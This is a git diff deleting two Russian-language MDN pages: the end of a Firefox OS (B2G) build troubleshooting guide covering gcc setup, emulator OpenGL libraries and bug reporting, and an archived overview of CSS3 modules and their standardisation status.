Далее необходимо удалить gcc, используя настройку (это предполагает, вы запустите Mac OS bootstrap script —  если нет, то вы должны будете заполнить этот шаг, прежде чем продолжить):

- -
brew uninstall gcc-4.6
- -

Теперь тоже самое gcc с мультибиблиотеки и c++  поддержка:

- -
brew install --enable-cxx https://gist.github.com/artlogic/6988658/raw/aeb9d1ea098274ad3f3fe2637b9df7f308a8a120/gcc-4.6.rb
- -

Убедитесь /usr/local/bin  на вашей PATH.  Вы можете сделать это временно, набрав следующую команду в командной  подсказке:

- -
export PATH=/usr/local/bin:$PATH
- -

Вы можете сделать выше изложенное изменение постоянными, добавив его  .bash_profile файл в домашнем каталоге.

- -

После того как вы установите PATH, убедитесь, что вы можете запустить обе из следующих команд:

- -
gcc-4.6 -v
-
-g++-4.6 -v
- -

Если какой-либо из этих команд выпадет, то Вам потребуется заново связать ваш gcc using brew с помощью следующей команды:

- -
brew link --overwrite gcc-4.6
- -

Это также возможно, что /usr/bin/c++ не указывает на clang++ как это и должно быть с Xcode 5 installed. Вы можете определить это, введя следующее:

- -
ls -l /usr/bin/c++
- -

Она должна возвращать что-то вроде этого:

- -
lrwxr-xr-x 1 root admin 7 Sep 19 11:40 /usr/bin/c++ -> clang++
-
- -

Если c++ указывает на нечто иное, чем clang++, обновить с помощью следующих команд:

- -
sudo rm /usr/bin/c++
-
-sudo ln -s /usr/bin/clang++ /usr/bin/c++
- -

Невозможно вытянуть файлы из резервной копии каталога

- -

Это может произойти, когда соединение USB не работает, а сценарий извлекает данные от устройства к компьютеру.

- -

Когда вы запустите скрипт еще раз, вы, вероятно, получите следующее (пример для пик устройства):

- -
Pulling files from ../../../backup-peak
-cat: ../../../backup-peak/system/build.prop: No such file or directory
-Found firmware with build ID
-Pulling "libaudioeq.so"
-cp: cannot stat `../../../backup-peak/system/lib/libaudioeq.so': No such file or directory
-Failed to pull libaudioeq.so. Giving up.
-
-> Build failed! <
-
-Build with |./build.sh -j1| for better messages
-If all else fails, use |rm -rf objdir-gecko| to clobber gecko and |rm -rf out| to clobber everything else.
- -

Чтобы решить эту проблему, это не нужно вынимать всю objdir-gecko  из каталогов. Просто удалите каталог для резервного копирования, как это (для примера выше):

- -
$rm -rf backup-peak
- -

Вопросы Эмулятор сборки

- -

Если вы делаете эмулятор построение, нужно обратить внимание на эти вопросы:

- -
-

Во-первых, обратите внимание, что вы не должны использовать эмулятор x86 - это трудно установить и не очень хорошо поддерживается.

-
- -

Далее, сборка-система для эмулятора строит как 32-битные, так и 64-битные версии эмулятора. Так, как эмулятор зависит от OpenGL, означает, что вы должны иметь как 32-битные, так и 64-битные версии OpenGL  библиотеки установленые в вашей системе. Смотрите обсуждение в bug 897727.

- -

Есть два способа, которыми вы можете решить эту проблему:

- -

Решение #1: оба 32bit и 64bit OpenGL  установлен LIBS, с правом  символические ссылки

- -

Если ваш Linux дистрибутив имеет мультибиблиотечные пакеты для OpenGL libraries, вы можете попытаться установить их. Затем вам придется вручную создать некоторые символические ссылки.

- -

Например, вот ситуация на Ubuntu 12.04 LTS x86-64. На этом распределении, libgl1-mesa-dev package  не может быть установлен одновременно в x86-64 и i386 версии, но вы можете иметь следующая комбинация пакетов одновременно установлены:

- -
sudo apt-get install libgl1-mesa-dev libglapi-mesa:i386 libgl1-mesa-glx:i386
- -

После выполнения этой команды вам все равно придется вручную создать несколько символических ссылок для эмулятора, строят, чтобы добиться успеха:

- -
sudo ln -s /usr/lib/i386-linux-gnu/libX11.so.6 /usr/lib/i386-linux-gnu/libX11.so
-sudo ln -s /usr/lib/i386-linux-gnu/mesa/libGL.so.1 /usr/lib/i386-linux-gnu/libGL.so
- -

Решение #2:  просто патч эмулятор так это только создает 64bit

- -

Просто внесите this patch для sdk/ git repository под B2G repo.  Это приведет B2G emulator к попыткам построить 64bit emulator только если вы находитесь на 64bit system,  Таким образом, избегая каких-либо проблем с мультибиблиотекой. 32bit emulator в любом случае не должен использоваться на 64bit system. Это не простое решение, до этого патча в конечном итоге bit-rots.

- -

Следующий шаг

- -

После создания, ваш следующий шаг зависит от того, как вы построили Boot на Gecko или эмулятор или для реального мобильного устройства; детали в следующих статьях:

- - -
- -

Отправка ошибок на B2G/Firefox OS/Gaia

- -

После того как вы получили B2G/Firefox OS построение работает, вы начнете подавать ошибки против этой конкретной версии, Firefox OS сообщество может улучшить положение вещей как можно более эффективно. Вы хотите, чтобы file the bug on Bugzilla, вместе "Firefox OS" проект, дадут включить специфику версии:

- -
    -
  1. Для начала, расскажите основной номер версии, e.g. 1.4.0.0-prerelease. Это может быть найдено на устройстве  Settings > Device Information.
  2. -
  3. Вы можете предоставить более конкретные идентификаторы версий, вернувшихся из текущих хэшей в gaia и gecko repositories. Это может быть сделано как так: -
    #!/bin/bash
    -(cd gaia;  echo "gaia  $(git rev-parse HEAD)")
    -(cd gecko; echo "gecko $(git rev-parse HEAD)")
    -
  4. -
diff --git a/files/ru/archive/css3/index.html b/files/ru/archive/css3/index.html deleted file mode 100644 index fd4945adf6..0000000000 --- a/files/ru/archive/css3/index.html +++ /dev/null @@ -1,974 +0,0 @@ ---- -title: CSS3 -slug: Archive/CSS3 -tags: - - CSS - - Intermediate - - Справочник по CSS -translation_of: Archive/CSS3 ---- -

CSS3 это последнее эволюционное изменение языка Cascading Style Sheets, и оно направлено на расширение CSS2.1. Оно привносит давно ожидаемые новшества, такие как закруглённые углы, тени, градиенты, переходы или анимация, а также новые макеты, такие как multi-columns, «резиновый» дизайн или сеточный макет. Экспериментальный функционал помечен специальными префиксами разработчика, и он не должен использоваться в производственной среде, либо должен использоваться с особой осторожностью, так как его синтаксис и поведение может быть изменено в будущем.

- -

Модули и процесс стандартизации

- -

CSS Level 2 потребовалось 9 лет, с августа 2002 до июня 2011, чтобы получить статус рекомендации. Это случилось по причине того, что несколько вторичных особенностей задерживали всю спецификацию. Чтобы ускорить стандартизацию беспроблемных частей, Рабочая группа CSS W3C в своём решении известном как Пекинская доктрина, разделила CSS на меньшие компоненты, называемые модулями. Каждый из таких модулей теперь является независимой частью языка и проходит стандартизацию в своем темпе, независимо от других частей. Когда одни модули уже имеют статус рекомендации W3C, другие всё ещё находятся в стадии разработки. Так же появляются новые модули, когда в этом есть необходимость.

- -

CSS Modules and Snapshots as defined since CSS3 Официально не существует стандарта CSS3 как такового. Каждый модуль стандартизируется независимо, стандарт CSS состоит из CSS2.1 с поправками и расширяется завершенными модулями, необязательно с одинаковым номером уровня. В каждый момент времени может быть определён снэпшот стандарта CSS, состоящий из CSS2.1 и набора сформировавшихся модулей.

- -

Консорциум W3 периодически публикует такие снэпшоты, как в 2007 или 2010.

- -

Хотя на сегодняшний день нет стандартизованных модулей с уровнем выше чем 3, это изменится в будущем. Некоторые модули, такие как Selectors 4 или CSS Borders and Backgrounds Level 4, уже имеют редакторский набросок, хотя и не имеют статуса Первого Опубликованного Рабочего Наброска.

- -

Статус модулей CSS

- -

Стабильные модули

- -

Несколько модулей CSS уже достаточно стабильны и достигли одного из трёх уровней рекомендации CSSWG: Кандидат в рекомендации, Предлагаемый к рекомендации и Рекомендован. Они могут быть использованы без префиксов и достаточно стабильны, хотя некоторые фичи могуть не пройти стадию Кандидат в рекомендации.

- -

Эти модули расширяют и исправляют CSS2.1, составляя ядро спецификации. Вместе с ними, они составляют текущий снэпшот спецификации CSS.

- - - - - - - - - - - -
{{ SpecName("CSS3 Colors", "", "") }}{{ Spec2("CSS3 Colors") }} с 7 июня 2011
-

Добавляет свойство {{ cssxref("opacity") }} и функции hsl(), hsla(), rgba(), rgb() для создания значений {{cssxref("<color>")}}. Также определяет ключевое слово currentColor как цвет.

- -

Цвет transparent теперь настоящий цвет (благодаря поддержке альфа-канала) и является псевдонимом для rgba(0,0,0,0.0) .

- -

Объявляет устаревшими ключевые слова системных цветов, теперь они не должны использоваться в реальных проектах.

-
- - - - - - - - - - - -
{{ SpecName("CSS3 Selectors", "", "") }}{{ Spec2("CSS3 Selectors") }} с 29 сентября 2011
-

Добавлено:

- -
    -
  • Атрибут селектора для сравнения подстрок, E[attribute^="value"], E[attribute$="value"], E[attribute*="value"] .
  • -
  • Новые псевдо-классы: {{ cssxref(":target") }}, {{ cssxref(":enabled") }} и {{ cssxref(":disabled") }}, {{ cssxref(":checked") }}, {{ cssxref(":indeterminate") }}, {{ cssxref(":root") }}, {{ cssxref(":nth-child") }} и {{ cssxref(":nth-last-child") }}, {{ cssxref(":nth-of-type") }} и {{ cssxref(":nth-last-of-type") }}, {{ cssxref(":last-child") }}, {{ cssxref(":first-of-type") }} и {{ cssxref(":last-of-type") }}, {{ cssxref(":only-child") }} и {{ cssxref(":only-of-type") }},{{ cssxref(":empty") }}, и {{ cssxref(":not") }}.
  • -
  • Псевдо-элементы теперь обозначаются двумя двоеточиями вместо одного: было :after — стало {{ cssxref("::after") }}, :before стало {{ cssxref("::before") }}, :first-letter стало {{ cssxref("::first-letter") }},  и :first-line стало {{ cssxref("::first-line") }}.
  • -
  • Новый general sibling combinator ( h1~pre ).
  • -
-
- -

Следующая итерация спецификации Селекторов уже создаётся, хотя она всё ещё не получила статус Первого Публичного Рабочего Черновика.

- - - - - - - - - - - -
{{ SpecName("CSS3 Namespaces", "", "") }}{{ Spec2("CSS3 Namespaces") }} с 29 сентября 2011
-

Adds the support for the XML Namespaces by defining the notion of CSS qualified name, using the ' | ' syntax and adding the {{ cssxref("@namespace") }} CSS at-rule.

-
- - - - - - - - - - - -
{{ SpecName("CSS3 Media Queries", "", "") }}{{ Spec2("CSS3 Media Queries") }} с 19 июня 2012
-

Исходные типы media (такие как print, screen и тд.) расширяются до полноценного языка, позволяющего выполнять запросы на определение параметров устройства просмотра. Например, like only screen and (color).

- -

Медиа-запросы применяются не только в CSS, но также в атрибутах некоторых HTML элементов. Например, {{ htmlattrxref("media","link") }} для тега {{ HTMLElement("link") }}.

-
- -

The next iteration of this specification is in the work, allowing to tailor a Web site regarding the input methods available on the user agent, with new media features like hover or pointer. Detection of EcmaScript support, using the script media features is also proposed.

- - - - - - - - - - - -
{{ SpecName("CSS3 Style", "", "") }}{{ Spec2("CSS3 Style") }} since November 7th, 2013
Formally defines the syntax of the content of the HTML style global attribute.
- - - - - - - - - - - -
{{ SpecName("CSS3 Backgrounds", "", "") }}{{ Spec2("CSS3 Backgrounds") }}
-

Adds:

- -
    -
  • Support, on backgrounds, for any type of {{cssxref("<image>")}}, and not only for uri() defined ones.
  • -
  • Support for multiple background images.
  • -
  • The {{ cssxref("background-repeat") }} space and round values, and for the 2-value syntax of this CSS property.
  • -
  • The {{ cssxref("background-attachment") }} local value.
  • -
  • The CSS {{ cssxref("background-origin") }}, {{ cssxref("background-size") }}, and {{ cssxref("background-clip") }} properties.
  • -
  • Support for curved border corners, with the CSS {{ cssxref("border-radius") }}, {{ cssxref("border-top-left-radius") }}, {{ cssxref("border-top-right-radius") }}, {{ cssxref("border-bottom-left-radius") }}, and {{ cssxref("border-bottom-right-radius") }} properties.
  • -
  • Support for the use of an {{cssxref("<image>")}} as the border with the CSS {{ cssxref("border-image") }}, {{ cssxref("border-image-source") }}, {{ cssxref("border-image-slice") }}, {{ cssxref("border-image-width") }}, {{ cssxref("border-image-outset") }}, and {{ cssxref("border-image-repeat") }} properties.
  • -
  • Support for shadows of the element with the CSS {{ cssxref("box-shadow") }} property.
  • -
-
- -

The CSS4 iteration of the Backgrounds and Borders specification is already in progress, though it still hasn't reached the First Public Working Draft stage, it plans to add the ability to clip a border (with the CSS {{ cssxref("border-clip") }}, {{ cssxref("border-clip-top") }}, {{ cssxref("border-clip-right") }}, {{ cssxref("border-clip-bottom") }}, and {{ cssxref("border-clip-left") }} properties) or to control the shape of the border in a corner (using the CSS {{ cssxref("border-corner-shape") }} property).

- - - - - - - - - - - -
{{ SpecName("CSS3 Multicol", "", "") }}{{ Spec2("CSS3 Multicol") }}
Adds support for easy multi-column layouts using the CSS {{ cssxref("columns") }}, {{ cssxref("column-count") }}, {{ cssxref("column-fill") }}, {{ cssxref("column-gap") }}, {{ cssxref("column-rule") }}, {{ cssxref("column-rule-color") }}, {{ cssxref("column-rule-style") }}, {{ cssxref("column-rule-width") }}, {{ cssxref("column-span") }}, {{ cssxref("column-width") }}, {{ cssxref("break-after") }}, {{ cssxref("break-before") }}, and {{ cssxref("break-inside") }}.
- - - - - - - - - - - -
{{ SpecName("CSS3 Speech", "", "") }}{{ Spec2("CSS3 Speech") }}
Defines the speech media type, an aural formatting model and numerous properties specific for speech-rendering user agents.
- - - - - - - - - - - -
{{ SpecName("CSS3 Images", "", "") }}{{ Spec2("CSS3 Images") }}
-

Defines the {{cssxref("<image>")}} data type.

- -

Extends the url() syntax to support image slices using media fragments.

- -

Adds:

- -
    -
  • The dppx unit to the {{cssxref("<resolution>")}} data type.
  • -
  • The image() function as a more flexible alternative to url() to define an image from an url.
    - At risk : due to insufficient browser support, standardization of the image() function may be postponed to the next iteration of this module .
  • -
  • Support for linear-gradient(), repeating-linear-gradient(), radial-gradient() and repeating-radial-gradient().
  • -
  • The ability to define how a replaced element should fit in its element, using the CSS {{ cssxref("object-fit") }} property.
    - At risk : due to insufficient browser support, standardization of the {{ cssxref("object-fit") }} and property may be postponed to the next iteration of this module .
  • -
  • The ability to override the resolution and orientation of an external image using the CSS {{ cssxref("image-resolution") }} and {{ cssxref("image-orientation") }} properties.
    - At risk : due to insufficient browser support, standardization of the {{ cssxref("image-resolution") }} and {{ cssxref("image-orientation") }} properties may be postponed to the next iteration of this module .
  • -
-
- -

The CSS Image Values and Replaced Content Level 4 which will supersede CSS Image Level 3 is in development and is a {{Spec2("CSS4 Images")}}.

- - - - - - - - - - - -
{{ SpecName("CSS3 Values", "", "") }}{{ Spec2("CSS3 Values") }}
-

Makes initial and inherit keywords usable on any CSS property.

- -

Formally defines the CSS data types of CSS 2.1, that were implicitely defined by their grammar token and some textual precisions.

- -

Adds:

- -
    -
  • Definition for new font-relative length units: rem and ch .
  • -
  • Definition for viewport-relative length units: vw, vh, vmax, and vmin .
  • -
  • Precision about the real size of the absolute length units, which are not really absolute, but defined in relation with the reference pixel .
  • -
  • Definition for {{ cssxref("<angle>") }}, {{cssxref("<time>")}}, {{cssxref("<frequency>")}}, {{cssxref("<resolution>")}}.
  • -
  • Normative value to the definition of {{cssxref("<color>")}}, {{cssxref("<image>")}}, and {{ cssxref("<position>") }}.
  • -
  • Definition for the {{ cssxref("calc", "calc()") }}, {{ cssxref("attr", "attr()")}}, and toggle() functional notations.
    - At risk: due to insufficient browser support, standardization of the calc(), attr(), and toggle() functional notations may be postponed to the next iteration of this module.
  • -
-
- -

Several types definition, like <ident> and <custom-ident>, have been deferred to CSS Values and Units Module Level 4.

- - - - - - - - - - - -
{{ SpecName("CSS3 Flexbox", "", "") }}{{ Spec2("CSS3 Flexbox") }}
Add a flexbox layout to the CSS {{ cssxref("display") }} property and several new CSS properties to control it: {{ cssxref("flex") }}, {{ cssxref("flex-align") }}, {{ cssxref("flex-direction") }}, {{ cssxref("flex-flow") }}, {{ cssxref("flex-item-align") }}, {{ cssxref("flex-line-pack") }}, {{ cssxref("flex-order") }}, {{ cssxref("flex-pack") }}, and {{ cssxref("flex-wrap") }}.
- - - - - - - - - - - -
{{ SpecName("CSS3 Conditional", "", "") }}{{ Spec2("CSS3 Conditional") }}
Adds features for conditional processing of parts of style sheets, conditioned on capabilities of the browser or the document the style sheet is being applied to. It consists mainly in allowing nested at-rules inside {{ cssxref("@media") }} and the adding of a new CSS at-rule, {{ cssxref("@supports") }}, and a new DOM method {{domxref("CSS.supports()")}}.
- - - - - - - - - - - -
{{ SpecName("CSS3 Text Decoration", "", "") }}{{ Spec2("CSS3 Text Decoration") }}
-

Extends:

- -
    -
  • the CSS {{ cssxref("text-decoration") }} property by making it a shorthand for the CSS {{ cssxref("text-decoration-line") }}, {{ cssxref("text-decoration-color") }}, and {{ cssxref("text-decoration-style") }} properties. And adds the {{ cssxref("text-decoration-skip") }}, and {{ cssxref("text-underline-position") }} properties.
  • -
- -

Adds:

- -
    -
  • Support for East-Asian-script emphasis marks with the CSS {{ cssxref("text-emphasis") }}, {{ cssxref("text-emphasis-style") }}, {{ cssxref("text-emphasis-color") }}, and {{ cssxref("text-emphasis-position") }} properties.
  • -
  • Support for script shadows with the CSS {{ cssxref("text-shadow") }} property.
  • -
- -

Precises:

- -
    -
  • The paint order of the decorations.
  • -
- -

At risk: due to insufficient browser support, standardization of the text-decoration-skip, line positioning rules and the ability to place both emphasis marks and ruby above the same base text may be postponed to the next iteration of this module.

-
- - - - - - - - - - - -
{{ SpecName("CSS3 Fonts", "", "") }}{{ Spec2("CSS3 Fonts") }}
-

Amends the CSS2.1 Font matching algorithm to be closer to what is really implemented.

- -

Adds:

- -
    -
  • Support for downloadable fonts via the CSS {{ cssxref("@font-face") }} at-rule.
  • -
  • The control of the contextual inter-glyph spacing via the CSS {{ cssxref("font-kerning") }} property.
  • -
  • The choice of language-specific glyphs via the CSS {{ cssxref("font-language-override") }} property.
  • -
  • The choice of glyphs with specific OpenType features via the CSS {{ cssxref("font-feature-settings") }} property.
  • -
  • The control of the aspect ratio to use when fallback fonts are selected via the CSS {{ cssxref("font-size-adjust") }} property.
  • -
  • The choice of alternative font faces using the CSS {{ cssxref("font-stretch") }}, {{ cssxref("font-variant-alternates") }}, {{ cssxref("font-variant-caps") }}, {{ cssxref("font-variant-east-asian") }}, {{ cssxref("font-variant-ligatures") }}, {{ cssxref("font-variant-numeric") }}, and {{ cssxref("font-variant-position") }} properties. It also extends the related CSS {{ cssxref("font-variant") }} shorthand property and introduces the {{ cssxref("@font-features-values") }} at-rule.
  • -
  • The control of the automatic generation of an oblique or bold face when none are found via the CSS {{ cssxref("font-synthesis") }} property.
  • -
-
- - - - - - - - - - - -
{{ SpecName("CSS3 Cascade", "", "") }}{{ Spec2("CSS3 Cascade") }}
-

Adds:

- -
    -
  • The initial, unset values for properties.
  • -
  • The CSS {{ cssxref("all") }} property.
  • -
  • The scoping mechanism.
  • -
- -

Precises:

- -
    -
  • Interaction of media-dependent @import statements and style sheet loading requirements.
  • -
-
- - - - - - - - - - - -
{{ SpecName("CSS3 Writing Modes", "", "") }}{{ Spec2("CSS3 Writing Modes") }}
Defines the writing modes of both horizontal and vertical scripts and precises how the CSS {{ cssxref("direction") }} and {{ cssxref("unicode-bidi") }} properties interact with the new CSS {{ cssxref("text-orientation") }} property, and extends them where needed.
- - - - - - - - - - - -
{{ SpecName("CSS Shapes", "", "") }}{{ Spec2("CSS Shapes") }}
Defines geometric shapes, which can be applied to floats. These shapes describe areas, around which inline content wraps instead of wrapping around the bounding box.
- - - - - - - - - - - -
{{ SpecName("CSS Masks", "", "") }}{{ Spec2("CSS Masks") }}
Defines a way for partially or fully hiding portions of visual elements. It describes how to use another graphical element or image as a luminance or alpha mask.
- -

Modules in the refining phase

- -

Specifications that are deemed to be in the refining phase are already fairly stable. Though changes are still expected, they shouldn't create incompatibilities with current implementations; they should mainly define behavior in edge cases.

- - - - - - - - - - - -
{{ SpecName("Web Animations", "", "") }}{{ Spec2("Web Animations") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Counter Styles", "", "") }}{{ Spec2("CSS3 Counter Styles") }}
- - - - - - - - - - - -
{{ SpecName("Compositing", "", "") }}{{ Spec2("Compositing") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Syntax", "", "") }}{{ Spec2("CSS3 Syntax") }}
Precises how charsets are determined; minor changes in parsing and tokenization algorithms.
- - - - - - - - - - - -
{{ SpecName("CSS Will Change", "", "") }}{{ Spec2("CSS Will Change") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Transitions", "", "") }}{{ Spec2("CSS3 Transitions") }}
Allows the definition of transitions effects between two properties values by adding the CSS {{ cssxref("transition") }}, {{ cssxref("transition-delay") }}, {{ cssxref("transition-duration") }}, {{ cssxref("transition-property") }}, and {{ cssxref("transition-timing-function") }} properties.
- - - - - - - - - - - -
{{ SpecName("CSS3 Animations", "", "") }}{{ Spec2("CSS3 Animations") }}
Allows the definition of animations effects by adding the CSS {{ cssxref("animation") }}, {{ cssxref("animation-delay") }},{{ cssxref("animation-direction") }}, {{ cssxref("animation-duration") }}, {{ cssxref("animation-fill-mode") }}, {{ cssxref("animation-iteration-count") }}, {{ cssxref("animation-name") }}, {{ cssxref("animation-play-state") }}, and {{ cssxref("animation-timing-function") }} properties, as well as the {{ cssxref("@keyframes") }} at-rule.
- - - - - - - - - - - -
{{ SpecName("CSS3 Transforms", "", "") }}{{ Spec2("CSS3 Transforms") }}
-

Adds:

- -
    -
  • the support of bi-dimensional transforms to be applied to any element using the CSS {{ cssxref("transform") }} and {{ cssxref("transform-origin") }} properties. The supported transforms are: matrix(), translate(), translateX(), translateY(), scale(), scaleX(), scaleY(), rotate(), skewX(), and skewY().
  • -
  • the support of tri-dimensional transforms to be applied to any element by adding the CSS {{ cssxref("transform-style") }}, {{ cssxref("perspective") }}, {{ cssxref("perspective-origin") }}, and {{ cssxref("backface-visibility") }} properties and extended the {{ cssxref("transform") }} property with the following transforms are: matrix 3d(), translate3d(), translateZ()scale3d(), scaleZ(), rotate3d(), rotateX()rotateY(), rotateZ(), and perspective().
  • -
- -

Note: this specification is a merge of CSS 2D-Transforms, CSS 3D-Transforms and SVG transforms.

-
- - - - - - - - - - - -
{{ SpecName("CSS3 Fragmentation", "", "") }}{{ Spec2("CSS3 Fragmentation") }}
Defines how partitions of a Web page should happen, that is page, column breaks, and widows and orphans handling. -

Adds:

- -
    -
  • Support for defining the behavior of decorations, that is borders and background colors or images, when a box is breaked (at a page, column or line-break) with the CSS {{ cssxref("box-decoration-break") }} property.
  • -
-
- - - - - - - - - - - -
{{ SpecName("CSS3 Text", "", "") }}{{ Spec2("CSS3 Text") }}
-

Extends:

- -
    -
  • the CSS {{ cssxref("text-transform") }} property with the value full-width.
  • -
  • the CSS {{ cssxref("text-align") }} property with the value start, end, start end, and match-parent for a better support of documents with multiple directionalities of text.
  • -
  • the CSS {{ cssxref("text-align") }} property with a {{cssxref("<string>")}} value to align on that character. This is useful to align number on the decimal point.
  • -
  • the CSS {{ cssxref("word-spacing") }} and {{ cssxref("letter-spacing") }} properties with range constraints to control flexibility in justification.
  • -
- -

Adds:

- -
    -
  • Control on how whitespaces are displayed using the CSS {{ cssxref("text-space-collapse") }} and {{ cssxref("tab-size") }} properties.
  • -
  • Control on line breaks and word boundaries using the CSS {{ cssxref("line-break") }}, {{ cssxref("word-break") }}, {{ cssxref("hyphens") }}, {{ cssxref("text-wrap") }}, {{ cssxref("overflow-wrap") }}, and {{ cssxref("text-align-last") }} properties.
  • -
  • Control on how justification is happening, in order to support more type of scripts, using the CSS {{ cssxref("text-justify") }} property.
  • -
  • Control on edge effect using the CSS {{ cssxref("text-indent") }} and {{ cssxref("hanging-punctuation") }} properties.
  • -
-
- -

A few features present in early CSS Text Level 3 draft have being postponed to the next iteration of this module .

- - - - - - - - - - - -
{{ SpecName("CSS3 Variables", "", "") }}{{ Spec2("CSS3 Variables") }}
Defines a mechanism allowing to define variables in CSS.
- - - - - - - - - - - -
{{ SpecName("Compositing", "", "") }}{{ Spec2("Compositing") }}
- -

Modules in the revising phase

- -

Modules that are in the revising phase are much less stable than those in the refining phase. Often the syntax is still under scrutiny and may evolve a lot, in a non-compatible way. Alternative syntaxes are tested and often implemented.

- - - - - - - - - - - -
{{ SpecName("CSS3 Basic UI", "", "") }}{{ Spec2("CSS3 Basic UI") }}
-

Adds:

- -
    -
  • The ability to tweak the box model using the CSS {{ cssxref("box-sizing") }} property.
    - At risk: due to insufficient browser support, standardization of the padding-box value may be postponed to the next iteration of this module .
  • -
  • Allow the styling of forms according their content using the CSS {{ cssxref(":indeterminate") }}, {{ cssxref(":default") }}, {{ cssxref(":valid") }}, {{ cssxref(":invalid") }}, {{ cssxref(":in-range") }}, {{ cssxref(":out-of-range") }}, {{ cssxref(":required") }}, {{ cssxref(":optional") }}, {{ cssxref(":read-only") }}, and {{ cssxref(":read-write") }} pseudo-classes and the {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} pseudo-elements.
    - At risk: due to insufficient browser support, standardization of the pseudo-elements {{ cssxref("::value") }}, {{ cssxref("::choices") }}, {{ cssxref("::repeat-item") }}, and {{ cssxref("::repeat-index") }} may be postponed to the next iteration of this module .
  • -
  • Support for icons, defined by the CSS {{ cssxref("icon") }} property simultaneously with the new icon value of the CSS {{ cssxref("content") }} property.
    - At risk: due to insufficient browser support, standardization of the {{ cssxref("icon") }} property and the icon value may be postponed to CSS4.
  • -
  • Support for the CSS {{ cssxref("outline-offset") }} property giving more control on the position of the outline.
  • -
  • Support for the CSS {{ cssxref("resize") }} property allowing Web authors to control if and how elements should be resized.
  • -
  • Support for the CSS {{ cssxref("text-overflow") }} property defining how text overflows, if needed.
    - At risk: due to insufficient browser support, the 2-value syntax of this property as well as the support for {{cssxref("<string>")}} values may be postponed to the next iteration of this module .
  • -
  • The ability to define the hotspot of a cursor as well as the new none, context-menu, cell, vertical-text, alias, copy, no-drop, not-allowed, nesw-resize, nwse-resize, col-resize, row-resize, all-scroll, zoom-in, zoom-out, extending the {{ cssxref("cursor") }} property.
  • -
  • The ability to specify the sequential navigation order (that is the tabbing order ) using the CSS {{ cssxref("nav-index") }}, {{ cssxref("nav-up") }}, {{ cssxref("nav-right") }}, {{ cssxref("nav-left") }}, {{ cssxref("nav-down") }} properties.
    - At risk: due to insufficient browser support, standardization of the navigation properties may be postponed to the next iteration of this module .
  • -
  • The ability to control the usage of an IME editor, using the CSS {{ cssxref("ime-mode") }} property.
    - At risk: due to insufficient browser support, standardization of the {{ cssxref("ime-mode") }} property may be postponed to the next iteration of this module .
  • -
-
- -

An early list of what could be in the next iteration of the CSS Basic User Interface Module is available.

- - - - - - - - - - - -
{{ SpecName("CSS3 Grid", "", "") }}{{ Spec2("CSS3 Grid") }}
Add a grid layout to the CSS display property and several new CSS properties to control it: {{cssxref("grid")}}, {{cssxref("grid-area")}}, {{cssxref("grid-auto-columns")}}, {{cssxref("grid-auto-flow")}}, {{cssxref("grid-auto-position")}}, {{cssxref("grid-auto-rows")}}, {{cssxref("grid-column")}}, {{cssxref("grid-column-start")}}, {{cssxref("grid-column-end")}}, {{cssxref("grid-row")}}, {{cssxref("grid-row-start")}}, {{cssxref("grid-row-end")}}, {{cssxref("grid-template")}}, {{cssxref("grid-template-areas")}}, {{cssxref("grid-template-rows")}}, and {{cssxref("grid-template-columns")}}.
- - - - - - - - - - - -
{{ SpecName("CSS3 Box Alignment", "", "") }}{{ Spec2("CSS3 Box Alignment") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Paged Media", "", "") }}{{ Spec2("CSS3 Paged Media") }}
- - - - - - - - - - - -
{{ SpecName("CSSOM View", "", "") }}{{ Spec2("CSSOM View") }}
- - - - - - - - - - - -
{{ SpecName("CSS4 Selectors", "", "") }}{{ Spec2("CSS4 Selectors") }}
- -

Modules in the exploring phase

- - - - - - - - - - - -
{{ SpecName("CSS4 Images", "", "") }}{{ Spec2("CSS4 Images") }}
-

Extends:

- -
    -
  • the image() functional notation to describe the directionality of the image (rtl or ltr), allowing for bidi-sensitive images.
  • -
  • the {{ cssxref("image-orientation") }} property by adding the keyword from-image, allowing to follow EXIF data stored into images to be considered.
  • -
- -

Adds:

- -
    -
  • the image-set() functional notation to allow the definition to equivalent images at different resolution allowing for resolution-negotiated selection of images.
  • -
  • the element() functional notation allowing the use of part of the page as image.
  • -
  • the cross-fade() functional notation allowing to refer to intermediate images when transitioning between two images and defines the interpolation between two images.
  • -
  • the conic-gradient() and repeating-conic-gradient() functional notation describing a new type of gradient.
  • -
  • the {{cssxref("image-rendering")}} property that allow to define how resize of the object should be handled.
  • -
-
- - - - - - - - - - - -
{{ SpecName("CSS3 Device", "", "") }}{{ Spec2("CSS3 Device") }}
Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.
- - - - - - - - - - - -
{{ SpecName("CSS3 GCPM", "", "") }}{{ Spec2("CSS3 GCPM") }}
Adds the ability to tailor printed version of a document by allowing to control header, footer but also references tables like indexes or tables of content.
- - - - - - - - - - - -
{{ SpecName("CSS Exclusions", "", "") }}{{ Spec2("CSS Exclusions") }}
Extends the floats mechanism to define exclusion regions in any positioning scheme. Adds the notion of shapes, in which content must flows.
- - - - - - - - - - - -
{{ SpecName("CSS3 Lists", "", "") }}{{ Spec2("CSS3 Lists") }}
Extends the list counter mechanism so that list markers can be styled and Web developers can define new list counter schemes.
- - - - - - - - - - - -
{{ SpecName("CSS3 Regions", "", "") }}{{ Spec2("CSS3 Regions") }}
Defines a new mechanism allowing content to flow across, eventually non-contiguous, multiple areas called regions.
- - - - - - - - - - - -
{{ SpecName("CSS3 Device", "", "") }}{{ Spec2("CSS3 Device") }}
Adds a new at-rule, {{ cssxref("@viewport") }}, allowing to specify the size, zoom factor, and orientation of the viewport that is used as the base for the initial containing block.
- - - - - - - - - - - -
{{ SpecName("Filters 1.0", "", "") }}{{ Spec2("Filters 1.0") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Template", "", "") }}{{ Spec2("CSS3 Template") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Sizing", "", "") }}{{ Spec2("CSS3 Sizing") }}
- - - - - - - - - - - -
{{ SpecName("CSS Line Grid", "", "") }}{{ Spec2("CSS Line Grid") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Positioning", "", "") }}{{ Spec2("CSS3 Positioning") }}
- - - - - - - - - - - -
{{ SpecName("CSS3 Ruby", "", "") }}{{ Spec2("CSS3 Ruby") }}
- - - - - - - - - - - -
